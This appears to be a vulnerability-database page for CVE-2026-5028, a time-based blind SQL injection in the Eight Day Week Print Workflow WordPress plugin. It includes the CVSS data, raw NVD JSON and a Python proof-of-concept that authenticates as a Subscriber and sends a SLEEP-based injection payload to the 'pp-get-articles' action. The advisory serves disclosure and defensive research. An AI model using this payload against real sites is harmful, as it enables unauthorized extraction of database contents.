Security Vulnerability Report
中文
CVE-2026-5028 CVSS 6.5 MEDIUM

CVE-2026-5028

Published: 2026-05-12 09:16:55
Last Modified: 2026-05-12 14:03:53

Description

The Eight Day Week Print Workflow plugin for WordPress is vulnerable to time-based blind SQL Injection via the 'title' parameter in the `pp-get-articles` AJAX action in all versions up to, and including, 1.2.6. This is due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Eight Day Week Print Workflow <= 1.2.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration target_url = "http://example.com/wp-admin/admin-ajax.php" # Attacker credentials (Subscriber level) login_url = "http://example.com/wp-login.php" username = "attacker" password = "password" session = requests.Session() # 1. Authenticate login_data = { "log": username, "pwd": password, "redirect_to": target_url, "testcookie": "1" } session.post(login_url, data=login_data) # 2. Exploit Payload (Time-based Blind SQL Injection) # Checking if the first character of the database user is 'a' (ASCII 97) payload = "1' AND IF(SUBSTRING(user(),1,1)='a',SLEEP(5),0)-- -" data = { "action": "pp-get-articles", "title": payload } # Send request and measure time try: response = session.post(target_url, data=data, timeout=10) # If response takes > 5 seconds, condition is true print("Check response time to confirm vulnerability.") except requests.exceptions.Timeout: print("Potential vulnerability confirmed (Timeout).")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-5028", "sourceIdentifier": "[email protected]", "published": "2026-05-12T09:16:54.670", "lastModified": "2026-05-12T14:03:52.757", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Eight Day Week Print Workflow plugin for WordPress is vulnerable to time-based blind SQL Injection via the 'title' parameter in the `pp-get-articles` AJAX action in all versions up to, and including, 1.2.6. This is due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/eight-day-week-print-workflow/tags/1.2.6/includes/functions/articles.php#L41", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/eight-day-week-print-workflow/tags/1.2.6/includes/functions/articles.php#L499", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c9bb4fae-5a5a-4c1b-a1dd-1aecc0f4b114?source=cve", "source": "[email protected]"}]}}